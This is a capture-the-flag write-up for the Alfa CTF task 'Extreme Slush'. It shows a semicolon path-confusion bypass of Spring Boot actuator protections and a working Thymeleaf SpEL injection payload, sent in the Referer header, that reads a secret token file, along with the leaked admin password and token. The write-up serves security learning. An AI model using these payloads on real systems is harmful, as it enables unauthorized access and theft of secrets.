Экстремальная слякоть (Extreme Slush)

alfactf

Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.

flask nginx tomcat thymeleaf spel spring_boot actuator h2_database java_nio

actuator_path_confusion_bypassthymeleaf_preprocessing_spel_injectionspel_file_read_java_niosemicolon_path_parameter_bypassheader_based_injection

$ ls tags/ techniques/

flask nginx tomcat thymeleaf spel spring_boot actuator h2_database java_nio

actuator_path_confusion_bypassthymeleaf_preprocessing_spel_injectionspel_file_read_java_niosemicolon_path_parameter_bypassheader_based_injection

$ cat /etc/rate-limit

Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.

Экстремальная слякоть (Extreme Slush) — Alfa CTF

Description

A city slush level monitoring application with admin panel and budget management system.

Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.

Analysis

Architecture

Outer nginx/1.24.0 (Ubuntu) → Inner nginx/1.27.5
Spring Boot WAR on Tomcat 9.0.117 (/, /admin*, /complaint, /actuator*)
Flask sidecar at /api/budget/* (proxy_pass)
H2 in-memory database (jdbc:h2:mem:slushdb)
Thymeleaf 3.0.12.RELEASE template engine

Vulnerability Chain

Actuator path confusion: nginx security rules don't match /actuator;foo/env, but Tomcat strips ;foo and serves /actuator/env
SpEL injection: Thymeleaf preprocessing evaluates __${...}__ syntax before main rendering
Header injection: Referer header value is used in template preprocessing for the back parameter

Solution

Step 1: Actuator Path Confusion Bypass

# Blocked
curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env  # 403

# Bypass via semicolon path parameter
curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env  # 200

Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t

Step 2: SpEL Injection via Referer Header

The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.

Payload format: '}+${SpEL_expression}+@{'

File read payload:

'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'

Step 3: Token Extraction and Flag

GET /admin?back=/admin HTTP/1.1
Host: slushline-zcdvzvbj.alfactf.ru
Cookie: JSESSIONID=...
Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'

Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn

POST to /admin/budget with token → flag displayed.

...